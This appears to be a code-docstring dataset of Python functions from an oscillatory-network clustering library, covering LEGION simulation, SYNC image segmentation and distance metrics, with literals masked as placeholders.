{"signature": "def __create_stimulus(self, stimulus):", "body": "if (len(stimulus) != self._num_osc):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>else:<EOL><INDENT>self._stimulus = [];<EOL>for val in stimulus:<EOL><INDENT>if (val > <NUM_LIT:0>): self._stimulus.append(self._params.I);<EOL>else: self._stimulus.append(<NUM_LIT:0>);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Create stimulus for oscillators in line with stimulus map and parameters.\n\n        @param[in] stimulus (list): Stimulus for oscillators that is represented by list, number of stimulus should be equal number of oscillators.", "id": "f15682:c2:m3"}
{"signature": "def __create_dynamic_connections(self):", "body": "if (self._stimulus is None):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>self._dynamic_coupling = [ [<NUM_LIT:0>] * self._num_osc for i in range(self._num_osc)];<EOL>for i in range(self._num_osc):<EOL><INDENT>neighbors = self.get_neighbors(i);<EOL>if ( (len(neighbors) > <NUM_LIT:0>) and (self._stimulus[i] > <NUM_LIT:0>) ):<EOL><INDENT>number_stimulated_neighbors = <NUM_LIT:0.0>;<EOL>for j in neighbors:<EOL><INDENT>if (self._stimulus[j] > <NUM_LIT:0>):<EOL><INDENT>number_stimulated_neighbors += <NUM_LIT:1.0>;<EOL><DEDENT><DEDENT>if (number_stimulated_neighbors > <NUM_LIT:0>):<EOL><INDENT>dynamic_weight = self._params.Wt / number_stimulated_neighbors;<EOL>for j in neighbors:<EOL><INDENT>self._dynamic_coupling[i][j] = dynamic_weight;<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Create dynamic connection in line with input stimulus.", "id": "f15682:c2:m4"}
{"signature": "def simulate(self, steps, time, stimulus, solution = solve_type.RK4, collect_dynamic = True):", "body": "if (self.__ccore_legion_pointer is not None):<EOL><INDENT>pointer_dynamic = wrapper.legion_simulate(self.__ccore_legion_pointer, steps, time, solution, collect_dynamic, stimulus);<EOL>return legion_dynamic(None, None, None, pointer_dynamic);<EOL><DEDENT>if (solution == solve_type.FAST):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>elif (solution == solve_type.RKF45):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>self.__create_stimulus(stimulus);<EOL>self.__create_dynamic_connections();<EOL>dyn_exc = None;<EOL>dyn_time = None;<EOL>dyn_ginh = None;<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_exc = [];<EOL>dyn_time = [];<EOL>dyn_ginh = [];<EOL><DEDENT>step = time / steps;<EOL>int_step = step / <NUM_LIT>;<EOL>for t in numpy.arange(step, time + step, step):<EOL><INDENT>self._calculate_states(solution, t, step, int_step);<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_exc.append(self._excitatory);<EOL>dyn_time.append(t);<EOL>dyn_ginh.append(self._global_inhibitor);<EOL><DEDENT>else:<EOL><INDENT>dyn_exc = self._excitatory;<EOL>dyn_time = t;<EOL>dyn_ginh = self._global_inhibitor;<EOL><DEDENT><DEDENT>return legion_dynamic(dyn_exc, dyn_ginh, dyn_time)<EOL>", "docstring": "!\n        @brief Performs static simulation of LEGION oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] stimulus (list): Stimulus for oscillators, number of stimulus should be equal to number of oscillators,\n                   example of stimulus for 5 oscillators [0, 0, 1, 1, 0], value of stimulus is defined by parameter 'I'.\n        @param[in] solution (solve_type): Method that is used for differential equation.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.", "id": "f15682:c2:m5"}
{"signature": "def _calculate_states(self, solution, t, step, int_step):", "body": "next_excitatory = [<NUM_LIT:0.0>] * self._num_osc;<EOL>next_inhibitory = [<NUM_LIT:0.0>] * self._num_osc;<EOL>next_potential = [];<EOL>if (self._params.ENABLE_POTENTIONAL is True):<EOL><INDENT>next_potential = [<NUM_LIT:0.0>] * self._num_osc;<EOL><DEDENT>for index in range (<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>if (self._params.ENABLE_POTENTIONAL is True):<EOL><INDENT>result = odeint(self._legion_state, [self._excitatory[index], self._inhibitory[index], self._potential[index]], numpy.arange(t - step, t, int_step), (index , ));<EOL>[ next_excitatory[index], next_inhibitory[index], next_potential[index] ] = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>:<NUM_LIT:3>];<EOL><DEDENT>else:<EOL><INDENT>result = odeint(self._legion_state_simplify, [self._excitatory[index], self._inhibitory[index] ], numpy.arange(t - step, t, int_step), (index , ));<EOL>[ next_excitatory[index], next_inhibitory[index] ] = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>:<NUM_LIT:2>];<EOL><DEDENT>neighbors = self.get_neighbors(index);<EOL>coupling = <NUM_LIT:0><EOL>for index_neighbor in neighbors:<EOL><INDENT>coupling += self._dynamic_coupling[index][index_neighbor] * heaviside(self._excitatory[index_neighbor] - self._params.teta_x);<EOL><DEDENT>self._buffer_coupling_term[index] = coupling - self._params.Wz * heaviside(self._global_inhibitor - self._params.teta_xz);<EOL><DEDENT>result = odeint(self._global_inhibitor_state, self._global_inhibitor, numpy.arange(t - step, t, int_step), (None, ));<EOL>self._global_inhibitor = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>];<EOL>self._noise = [random.random() * self._params.ro for i in range(self._num_osc)];<EOL>self._coupling_term = self._buffer_coupling_term[:];<EOL>self._inhibitory = next_inhibitory[:];<EOL>self._excitatory = next_excitatory[:];<EOL>if (self._params.ENABLE_POTENTIONAL is True):<EOL><INDENT>self._potential = next_potential[:];<EOL><DEDENT>", "docstring": "!\n        @brief Calculates new state of each oscillator in the network.\n\n        @param[in] solution (solve_type): Type solver of the differential equation.\n        @param[in] t (double): Current time of simulation.\n        @param[in] step (double): Step of solution at the end of which states of oscillators should be calculated.\n        @param[in] int_step (double): Step differentiation that is used for solving differential equation.", "id": "f15682:c2:m6"}
{"signature": "def _global_inhibitor_state(self, z, t, argv):", "body": "sigma = <NUM_LIT:0.0>;<EOL>for x in self._excitatory:<EOL><INDENT>if (x > self._params.teta_zx):<EOL><INDENT>sigma = <NUM_LIT:1.0>;<EOL>break;<EOL><DEDENT><DEDENT>return self._params.fi * (sigma - z)<EOL>", "docstring": "!\n        @brief Returns new value of global inhibitory\n\n        @param[in] z (dobule): Current value of inhibitory.\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (tuple): It's not used, can be ignored.\n\n        @return (double) New value if global inhibitory (not assign).", "id": "f15682:c2:m7"}
{"signature": "def _legion_state_simplify(self, inputs, t, argv):", "body": "index = argv;<EOL>x = inputs[<NUM_LIT:0>];  <EOL>y = inputs[<NUM_LIT:1>];  <EOL>dx = <NUM_LIT> * x - x ** <NUM_LIT> + <NUM_LIT> - y + self._stimulus[index] + self._coupling_term[index] + self._noise[index];<EOL>dy = self._params.eps * (self._params.gamma * (<NUM_LIT:1.0> + math.tanh(x / self._params.betta)) - y);<EOL>neighbors = self.get_neighbors(index);<EOL>potential = <NUM_LIT:0.0>;<EOL>for index_neighbor in neighbors:<EOL><INDENT>potential += self._params.T * heaviside(self._excitatory[index_neighbor] - self._params.teta_x);<EOL><DEDENT>return [dx, dy]<EOL>", "docstring": "!\n        @brief Returns new values of excitatory and inhibitory parts of oscillator of oscillator.\n        @details Simplify model doesn't consider oscillator potential.\n\n        @param[in] inputs (list): Initial values (current) of oscillator [excitatory, inhibitory].\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (uint): Extra arguments that are not used for integration - index of oscillator.\n\n        @return (list) New values of excitatoty and inhibitory part of oscillator (not assign).", "id": "f15682:c2:m8"}
{"signature": "def _legion_state(self, inputs, t, argv):", "body": "index = argv;<EOL>x = inputs[<NUM_LIT:0>];  <EOL>y = inputs[<NUM_LIT:1>];  <EOL>p = inputs[<NUM_LIT:2>];  <EOL>potential_influence = heaviside(p + math.exp(-self._params.alpha * t) - self._params.teta);<EOL>dx = <NUM_LIT> * x - x ** <NUM_LIT> + <NUM_LIT> - y + self._stimulus[index] * potential_influence + self._coupling_term[index] + self._noise[index];<EOL>dy = self._params.eps * (self._params.gamma * (<NUM_LIT:1.0> + math.tanh(x / self._params.betta)) - y);<EOL>neighbors = self.get_neighbors(index);<EOL>potential = <NUM_LIT:0.0>;<EOL>for index_neighbor in neighbors:<EOL><INDENT>potential += self._params.T * heaviside(self._excitatory[index_neighbor] - self._params.teta_x);<EOL><DEDENT>dp = self._params.lamda * (<NUM_LIT:1.0> - p) * heaviside(potential - self._params.teta_p) - self._params.mu * p;<EOL>return [dx, dy, dp]<EOL>", "docstring": "!\n        @brief Returns new values of excitatory and inhibitory parts of oscillator and potential of oscillator.\n\n        @param[in] inputs (list): Initial values (current) of oscillator [excitatory, inhibitory, potential].\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (uint): Extra arguments that are not used for integration - index of oscillator.\n\n        @return (list) New values of excitatoty and inhibitory part of oscillator and new value of potential (not assign).", "id": "f15682:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def show_first_layer_dynamic(analyser):<DEDENT>", "body": "sync_visualizer.show_output_dynamic(analyser.get_first_layer_analyser())<EOL>", "docstring": "!\n        @brief Shows output dynamic of the first layer.\n\n        @param[in] analyser (syncsegm_analyser): Analyser of output dynamic of the 'syncsegm' oscillatory network.", "id": "f15683:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_second_layer_dynamic(analyser):<DEDENT>", "body": "second_layer_analysers = analyser.get_second_layer_analysers();<EOL>analysers_sequence = [ object_segment_analyser['<STR_LIT>'] for object_segment_analyser in second_layer_analysers ]<EOL>sync_visualizer.show_output_dynamics(analysers_sequence)<EOL>", "docstring": "!\n        @brief Shows output dynamic of the second layer.\n\n        @param[in] analyser (syncsegm_analyser): Analyser of output dynamic of the 'syncsegm' oscillatory network.", "id": "f15683:c0:m1"}
{"signature": "def __init__(self, color_analyser, object_segment_analysers = None):", "body": "self.__color_analyser = color_analyser;<EOL>self.__object_segment_analysers = object_segment_analysers<EOL>", "docstring": "!\n        @brief Constructor of the analyser.\n\n        @param[in] color_analyser (list): Analyser of coloring segmentation results of the first layer.\n        @param[in] object_segment_analysers (list): Analysers of objects on image segments - results of the second layer.", "id": "f15683:c1:m0"}
{"signature": "def get_first_layer_analyser(self):", "body": "return self.__color_analyser<EOL>", "docstring": "!\n        @brief Returns analyser of coloring segmentation of the first layer.", "id": "f15683:c1:m1"}
{"signature": "def get_second_layer_analysers(self):", "body": "return self.__object_segment_analysers<EOL>", "docstring": "!\n        @brief Returns analysers of object segmentation of the second layer.", "id": "f15683:c1:m2"}
{"signature": "def allocate_colors(self, eps = <NUM_LIT>, noise_size = <NUM_LIT:1>):", "body": "segments = self.__color_analyser.allocate_clusters(eps);<EOL>real_segments = [cluster for cluster in segments if len(cluster) > noise_size];<EOL>return real_segments<EOL>", "docstring": "!\n        @brief Allocates color segments.\n\n        @param[in] eps (double): Tolerance level that define maximal difference between phases of oscillators in one segment.\n        @param[in] noise_size (uint): Threshold that defines noise - segments size (in pixels) that is less then the threshold is considered as a noise.\n\n        @return (list) Color segments where each color segment consists of indexes of pixels that forms color segment.", "id": "f15683:c1:m3"}
{"signature": "def allocate_objects(self, eps = <NUM_LIT>, noise_size = <NUM_LIT:1>):", "body": "if (self.__object_segment_analysers is None):<EOL><INDENT>return [];<EOL><DEDENT>segments = [];<EOL>for object_segment_analyser in self.__object_segment_analysers:<EOL><INDENT>indexes = object_segment_analyser['<STR_LIT>'];<EOL>analyser = object_segment_analyser['<STR_LIT>'];<EOL>segments += analyser.allocate_clusters(eps, indexes);<EOL><DEDENT>real_segments = [segment for segment in segments if len(segment) > noise_size];<EOL>return real_segments<EOL>", "docstring": "!\n        @brief Allocates object segments.\n\n        @param[in] eps (double): Tolerance level that define maximal difference between phases of oscillators in one segment.\n        @param[in] noise_size (uint): Threshold that defines noise - segments size (in pixels) that is less then the threshold is considered as a noise.\n\n        @return (list) Object segments where each object segment consists of indexes of pixels that forms object segment.", "id": "f15683:c1:m4"}
{"signature": "def __init__(self, color_radius, object_radius, noise_size = <NUM_LIT:0>, ccore = True):", "body": "self.__color_radius     = color_radius;<EOL>self.__object_radius    = object_radius;<EOL>self.__noise_size       = noise_size;<EOL>self.__order_color      = <NUM_LIT>;<EOL>self.__order_object     = <NUM_LIT>;<EOL>self.__network  = None;<EOL>self.__ccore    = ccore<EOL>", "docstring": "!\n        @brief Contructor of the oscillatory network SYNC for cluster analysis.\n\n        @param[in] color_radius (double): Radius of color connectivity (color similarity) for the first layer.\n        @param[in] object_radius (double): Radius of object connectivity (object similarity) for the second layer,\n                   if 'None' then object segmentation is not performed (only color segmentation).\n        @param[in] noise_size (double): Size of segment that should be considered as a noise and ignored by the second layer.\n        @param[in] ccore (bool): If 'True' then C/C++ implementation is used to increase performance.", "id": "f15683:c2:m0"}
{"signature": "def process(self, image_source, collect_dynamic = False, order_color = <NUM_LIT>, order_object = <NUM_LIT>):", "body": "self.__order_color  = order_color<EOL>self.__order_object = order_object<EOL>data = read_image(image_source)<EOL>color_analyser = self.__analyse_colors(data, collect_dynamic)<EOL>if self.__object_radius is None:<EOL><INDENT>return syncsegm_analyser(color_analyser, None)<EOL><DEDENT>object_segment_analysers = self.__analyse_objects(image_source, color_analyser, collect_dynamic)<EOL>return syncsegm_analyser(color_analyser, object_segment_analysers)<EOL>", "docstring": "!\n        @brief Performs image segmentation.\n\n        @param[in] image_source (string): Path to image file that should be processed.\n        @param[in] collect_dynamic (bool): If 'True' then whole dynamic of each layer of the network is collected.\n        @param[in] order_color (double): Local synchronization order for the first layer - coloring segmentation.\n        @param[in] order_object (double): Local synchronization order for the second layer - object segmentation.\n\n        @return (syncsegm_analyser) Analyser of segmentation results by the network.", "id": "f15683:c2:m1"}
{"signature": "def __analyse_colors(self, image_data, collect_dynamic):", "body": "network = syncnet(image_data, self.__color_radius, initial_phases = initial_type.RANDOM_GAUSSIAN, ccore = self.__ccore);<EOL>analyser = network.process(self.__order_color, solve_type.FAST, collect_dynamic);<EOL>return analyser<EOL>", "docstring": "!\n        @brief Performs color segmentation by the first layer.\n\n        @param[in] image_data (array_like): Image sample as a array-like structure.\n        @param[in] collect_dynamic (bool): If 'True' then whole dynamic of the first layer of the network is collected.\n\n        @return (syncnet_analyser) Analyser of color segmentation results of the first layer.", "id": "f15683:c2:m2"}
{"signature": "def __analyse_objects(self, image_source, color_analyser, collect_dynamic):", "body": "<EOL>pointer_image = Image.open(image_source);<EOL>image_size = pointer_image.size;<EOL>object_analysers = [];<EOL>color_segments = color_analyser.allocate_clusters();<EOL>for segment in color_segments:<EOL><INDENT>object_analyser = self.__analyse_color_segment(image_size, segment, collect_dynamic);<EOL>if (object_analyser is not None):<EOL><INDENT>object_analysers.append( { '<STR_LIT>': segment, '<STR_LIT>': object_analyser } );<EOL><DEDENT><DEDENT>pointer_image.close();<EOL>return object_analysers<EOL>", "docstring": "!\n        @brief Performs object segmentation by the second layer.\n\n        @param[in] image_source (string): Path to image file that should be processed.\n        @param[in] color_analyser (syncnet_analyser): Analyser of color segmentation results.\n        @param[in] collect_dynamic (bool): If 'True' then whole dynamic of the first layer of the network is collected.\n\n        @return (map) Analysers of object segments.", "id": "f15683:c2:m3"}
{"signature": "def __analyse_color_segment(self, image_size, color_segment, collect_dynamic):", "body": "coordinates = self.__extract_location_coordinates(image_size, color_segment);<EOL>if (len(coordinates) < self.__noise_size):<EOL><INDENT>return None;<EOL><DEDENT>network = syncnet(coordinates, self.__object_radius, initial_phases = initial_type.EQUIPARTITION, ccore = True);<EOL>analyser = network.process(self.__order_object, solve_type.FAST, collect_dynamic);<EOL>return analyser<EOL>", "docstring": "!\n        @brief Performs object segmentation of separate segment.\n\n        @param[in] image_size (list): Image size presented as a [width x height].\n        @param[in] color_segment (list): Image segment that should be processed.\n        @param[in] collect_dynamic (bool): If 'True' then whole dynamic of the second layer of the network is collected.\n\n        @return (syncnet_analyser) Analyser of object segmentation results of the second layer.", "id": "f15683:c2:m4"}
{"signature": "def __extract_location_coordinates(self, image_size, color_segment):", "body": "coordinates = [];<EOL>for index in color_segment:<EOL><INDENT>y = floor(index / image_size[<NUM_LIT:0>]);<EOL>x = index - y * image_size[<NUM_LIT:0>];<EOL>coordinates.append([x, y]);<EOL><DEDENT>return coordinates<EOL>", "docstring": "!\n        @brief Extracts coordinates of specified image segment.\n\n        @param[in] image_size (list): Image size presented as a [width x height].\n        @param[in] color_segment (list): Image segment whose coordinates should be extracted.\n\n        @return (list) Coordinates of each pixel.", "id": "f15683:c2:m5"}
{"signature": "def read_sample(filename):", "body": "file = open(filename, '<STR_LIT:r>')<EOL>sample = [[float(val) for val in line.split()] for line in file if len(line.strip()) > <NUM_LIT:0>]<EOL>file.close()<EOL>return sample<EOL>", "docstring": "!\n    @brief Returns data sample from simple text file.\n    @details This function should be used for text file with following format:\n    @code\n    point_1_coord_1 point_1_coord_2 ... point_1_coord_n\n    point_2_coord_1 point_2_coord_2 ... point_2_coord_n\n    ... ...\n    @endcode\n\n    @param[in] filename (string): Path to file with data.\n\n    @return (list) Points where each point represented by list of coordinates.", "id": "f15694:m0"}
{"signature": "def calculate_distance_matrix(sample):", "body": "amount_rows = len(sample);<EOL>return [ [ euclidean_distance(sample[i], sample[j]) for j in range(amount_rows) ] for i in range(amount_rows) ]<EOL>", "docstring": "!\n    @brief Calculates distance matrix for data sample (sequence of points) using Euclidean distance as a metric.\n\n    @param[in] sample (array_like): Data points that are used for distance calculation.\n\n    @return (list) Matrix distance between data points.", "id": "f15694:m1"}
{"signature": "def read_image(filename):", "body": "with Image.open(filename) as image_source:<EOL><INDENT>data = [list(pixel) for pixel in image_source.getdata()]<EOL>return data<EOL><DEDENT>", "docstring": "!\n    @brief Returns image as N-dimension (depends on the input image) matrix, where one element of list describes pixel.\n\n    @param[in] filename (string): Path to image.\n\n    @return (list) Pixels where each pixel described by list of RGB-values.", "id": "f15694:m2"}
{"signature": "def rgb2gray(image_rgb_array):", "body": "image_gray_array = [<NUM_LIT:0.0>] * len(image_rgb_array);<EOL>for index in range(<NUM_LIT:0>, len(image_rgb_array), <NUM_LIT:1>):<EOL><INDENT>image_gray_array[index] = float(image_rgb_array[index][<NUM_LIT:0>]) * <NUM_LIT> + float(image_rgb_array[index][<NUM_LIT:1>]) * <NUM_LIT> + float(image_rgb_array[index][<NUM_LIT:2>]) * <NUM_LIT>;<EOL><DEDENT>return image_gray_array<EOL>", "docstring": "!\n    @brief Returns image as 1-dimension (gray colored) matrix, where one element of list describes pixel.\n    @details Luma coding is used for transformation and that is calculated directly from gamma-compressed primary intensities as a weighted sum:\n\n    \\f[Y = 0.2989R + 0.587G + 0.114B\\f]\n\n    @param[in] image_rgb_array (list): Image represented by RGB list.\n\n    @return (list) Image as gray colored matrix, where one element of list describes pixel.\n\n    @code\n        colored_image = read_image(file_name);\n        gray_image = rgb2gray(colored_image);\n    @endcode\n\n    @see read_image()", "id": "f15694:m3"}
{"signature": "def stretch_pattern(image_source):", "body": "wsize, hsize = image_source.size;<EOL>(ws, hs, we, he) = gray_pattern_borders(image_source);<EOL>image_source = image_source.crop((ws, hs, we, he));<EOL>image_source = image_source.resize((wsize, hsize), Image.ANTIALIAS);<EOL>data = [pixel for pixel in image_source.getdata()];<EOL>image_pattern = rgb2gray(data);<EOL>return (image_pattern, image_source)<EOL>", "docstring": "!\n    @brief Returns stretched content as 1-dimension (gray colored) matrix with size of input image.\n\n    @param[in] image_source (Image): PIL Image instance.\n\n    @return (list, Image) Stretched image as gray colored matrix and source image.", "id": "f15694:m4"}
{"signature": "def gray_pattern_borders(image):", "body": "width, height = image.size;<EOL>width_start = width;<EOL>width_end = <NUM_LIT:0>;<EOL>height_start = height;<EOL>height_end = <NUM_LIT:0>;<EOL>row, col = <NUM_LIT:0>, <NUM_LIT:0>;<EOL>for pixel in image.getdata():<EOL><INDENT>value = float(pixel[<NUM_LIT:0>]) * <NUM_LIT> + float(pixel[<NUM_LIT:1>]) * <NUM_LIT> + float(pixel[<NUM_LIT:2>]) * <NUM_LIT>;<EOL>if (value < <NUM_LIT>):<EOL><INDENT>if (width_end < col): <EOL><INDENT>width_end = col;<EOL><DEDENT>if (height_end < row):<EOL><INDENT>height_end = row;<EOL><DEDENT>if (width_start > col):<EOL><INDENT>width_start = col;<EOL><DEDENT>if (height_start > row):<EOL><INDENT>height_start = row;<EOL><DEDENT><DEDENT>col += <NUM_LIT:1>;<EOL>if (col >= width):<EOL><INDENT>col = <NUM_LIT:0>;<EOL>row += <NUM_LIT:1>;<EOL><DEDENT><DEDENT>return (width_start, height_start, width_end + <NUM_LIT:1>, height_end + <NUM_LIT:1>)<EOL>", "docstring": "!\n    @brief Returns coordinates of gray image content on the input image.\n\n    @param[in] image (Image): PIL Image instance that is processed.\n\n    @return (tuple) Returns coordinates of gray image content as (width_start, height_start, width_end, height_end).", "id": "f15694:m5"}
{"signature": "def average_neighbor_distance(points, num_neigh):", "body": "if num_neigh > len(points) - <NUM_LIT:1>:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>dist_matrix = [ [ <NUM_LIT:0.0> for i in range(len(points)) ] for j in range(len(points)) ];<EOL>for i in range(<NUM_LIT:0>, len(points), <NUM_LIT:1>):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, len(points), <NUM_LIT:1>):<EOL><INDENT>distance = euclidean_distance(points[i], points[j]);<EOL>dist_matrix[i][j] = distance;<EOL>dist_matrix[j][i] = distance;<EOL><DEDENT>dist_matrix[i] = sorted(dist_matrix[i]);<EOL><DEDENT>total_distance = <NUM_LIT:0>;<EOL>for i in range(<NUM_LIT:0>, len(points), <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:0>, num_neigh, <NUM_LIT:1>):<EOL><INDENT>total_distance += dist_matrix[i][j + <NUM_LIT:1>];<EOL><DEDENT><DEDENT>return ( total_distance / (num_neigh * len(points)) )<EOL>", "docstring": "!\n    @brief Returns average distance for establish links between specified number of nearest neighbors.\n\n    @param[in] points (list): Input data, list of points where each point represented by list.\n    @param[in] num_neigh (uint): Number of neighbors that should be used for distance calculation.\n\n    @return (double) Average distance for establish links between 'num_neigh' in data set 'points'.", "id": "f15694:m6"}
{"signature": "def medoid(data, indexes=None, **kwargs):", "body": "index_median = None<EOL>distance = float('<STR_LIT>')<EOL>metric = kwargs.get('<STR_LIT>', type_metric.EUCLIDEAN_SQUARE)<EOL>data_type = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>if data_type == '<STR_LIT>':<EOL><INDENT>calculator = lambda index1, index2: metric(data[index1], data[index2])<EOL><DEDENT>elif data_type == '<STR_LIT>':<EOL><INDENT>if isinstance(data, numpy.matrix):<EOL><INDENT>calculator = lambda index1, index2: data.item(index1, index2)<EOL><DEDENT>else:<EOL><INDENT>calculator = lambda index1, index2: data[index1][index2]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % data_type)<EOL><DEDENT>if indexes is None:<EOL><INDENT>range_points = range(len(data))<EOL><DEDENT>else:<EOL><INDENT>range_points = indexes<EOL><DEDENT>for index_candidate in range_points:<EOL><INDENT>distance_candidate = <NUM_LIT:0.0><EOL>for index in range_points:<EOL><INDENT>distance_candidate += calculator(index_candidate, index)<EOL><DEDENT>if distance_candidate < distance:<EOL><INDENT>distance = distance_candidate<EOL>index_median = index_candidate<EOL><DEDENT><DEDENT>return index_median<EOL>", "docstring": "!\n    @brief Calculate medoid for input points using Euclidean distance.\n\n    @param[in] data (list): Set of points for that median should be calculated.\n    @param[in] indexes (list): Indexes of input set of points that will be taken into account during median calculation.\n    @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric', 'data_type').\n\n    <b>Keyword Args:</b><br>\n        - metric (distance_metric): Metric that is used for distance calculation between two points.\n        - data_type (string): Data type of input sample 'data' (available values: 'points', 'distance_matrix').\n\n    @return (uint) index of point in input set that corresponds to median.", "id": "f15694:m7"}
{"signature": "def euclidean_distance(a, b):", "body": "distance = euclidean_distance_square(a, b);<EOL>return distance**(<NUM_LIT:0.5>)<EOL>", "docstring": "!\n    @brief Calculate Euclidean distance between vector a and b. \n    @details The Euclidean between vectors (points) a and b is calculated by following formula:\n\n    \\f[\n    dist(a, b) = \\sqrt{ \\sum_{i=0}^{N}(b_{i} - a_{i})^{2}) };\n    \\f]\n\n    Where N is a length of each vector.\n\n    @param[in] a (list): The first vector.\n    @param[in] b (list): The second vector.\n\n    @return (double) Euclidian distance between two vectors.\n\n    @note This function for calculation is faster then standard function in ~100 times!", "id": "f15694:m8"}
{"signature": "def euclidean_distance_square(a, b):", "body": "if ( ((type(a) == float) and (type(b) == float)) or ((type(a) == int) and (type(b) == int)) ):<EOL><INDENT>return (a - b)**<NUM_LIT>;<EOL><DEDENT>distance = <NUM_LIT:0.0>;<EOL>for i in range(<NUM_LIT:0>, len(a)):<EOL><INDENT>distance += (a[i] - b[i])**<NUM_LIT>;<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate square Euclidian distance between vector a and b.\n\n    @param[in] a (list): The first vector.\n    @param[in] b (list): The second vector.\n\n    @return (double) Square Euclidian distance between two vectors.", "id": "f15694:m9"}
{"signature": "def manhattan_distance(a, b):", "body": "if ( ((type(a) == float) and (type(b) == float)) or ((type(a) == int) and (type(b) == int)) ):<EOL><INDENT>return abs(a - b);<EOL><DEDENT>distance = <NUM_LIT:0.0>;<EOL>dimension = len(a);<EOL>for i in range(<NUM_LIT:0>, dimension):<EOL><INDENT>distance += abs(a[i] - b[i]);<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate Manhattan distance between vector a and b.\n\n    @param[in] a (list): The first cluster.\n    @param[in] b (list): The second cluster.\n\n    @return (double) Manhattan distance between two vectors.", "id": "f15694:m10"}
{"signature": "def average_inter_cluster_distance(cluster1, cluster2, data = None):", "body": "distance = <NUM_LIT:0.0>;<EOL>if (data is None):<EOL><INDENT>for i in range(len(cluster1)):<EOL><INDENT>for j in range(len(cluster2)):<EOL><INDENT>distance += euclidean_distance_square(cluster1[i], cluster2[j]);<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(len(cluster1)):<EOL><INDENT>for j in range(len(cluster2)):<EOL><INDENT>distance += euclidean_distance_square(data[ cluster1[i]], data[ cluster2[j]]);<EOL><DEDENT><DEDENT><DEDENT>distance /= float(len(cluster1) * len(cluster2));<EOL>return distance ** <NUM_LIT:0.5><EOL>", "docstring": "!\n    @brief Calculates average inter-cluster distance between two clusters.\n    @details Clusters can be represented by list of coordinates (in this case data shouldn't be specified),\n             or by list of indexes of points from the data (represented by list of points), in this case \n             data should be specified.\n\n    @param[in] cluster1 (list): The first cluster where each element can represent index from the data or object itself.\n    @param[in] cluster2 (list): The second cluster where each element can represent index from the data or object itself.\n    @param[in] data (list): If specified than elements of clusters will be used as indexes,\n               otherwise elements of cluster will be considered as points.\n\n    @return (double) Average inter-cluster distance between two clusters.", "id": "f15694:m11"}
{"signature": "def average_intra_cluster_distance(cluster1, cluster2, data=None):", "body": "distance = <NUM_LIT:0.0><EOL>for i in range(len(cluster1) + len(cluster2)):<EOL><INDENT>for j in range(len(cluster1) + len(cluster2)):<EOL><INDENT>if data is None:<EOL><INDENT>if i < len(cluster1):<EOL><INDENT>first_point = cluster1[i]<EOL><DEDENT>else:<EOL><INDENT>first_point = cluster2[i - len(cluster1)]<EOL><DEDENT>if j < len(cluster1):<EOL><INDENT>second_point = cluster1[j]<EOL><DEDENT>else:<EOL><INDENT>second_point = cluster2[j - len(cluster1)]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if i < len(cluster1):<EOL><INDENT>first_point = data[cluster1[i]]<EOL><DEDENT>else:<EOL><INDENT>first_point = data[cluster2[i - len(cluster1)]]<EOL><DEDENT>if j < len(cluster1):<EOL><INDENT>second_point = data[cluster1[j]]<EOL><DEDENT>else:<EOL><INDENT>second_point = data[cluster2[j - len(cluster1)]]<EOL><DEDENT><DEDENT>distance += euclidean_distance_square(first_point, second_point)<EOL><DEDENT><DEDENT>distance /= float((len(cluster1) + len(cluster2)) * (len(cluster1) + len(cluster2) - <NUM_LIT:1.0>))<EOL>return distance ** <NUM_LIT:0.5><EOL>", "docstring": "!\n    @brief Calculates average intra-cluster distance between two clusters.\n    @details Clusters can be represented by list of coordinates (in this case data shouldn't be specified),\n             or by list of indexes of points from the data (represented by list of points), in this case \n             data should be specified.\n\n    @param[in] cluster1 (list): The first cluster.\n    @param[in] cluster2 (list): The second cluster.\n    @param[in] data (list): If specified than elements of clusters will be used as indexes,\n               otherwise elements of cluster will be considered as points.\n\n    @return (double) Average intra-cluster distance between two clusters.", "id": "f15694:m12"}
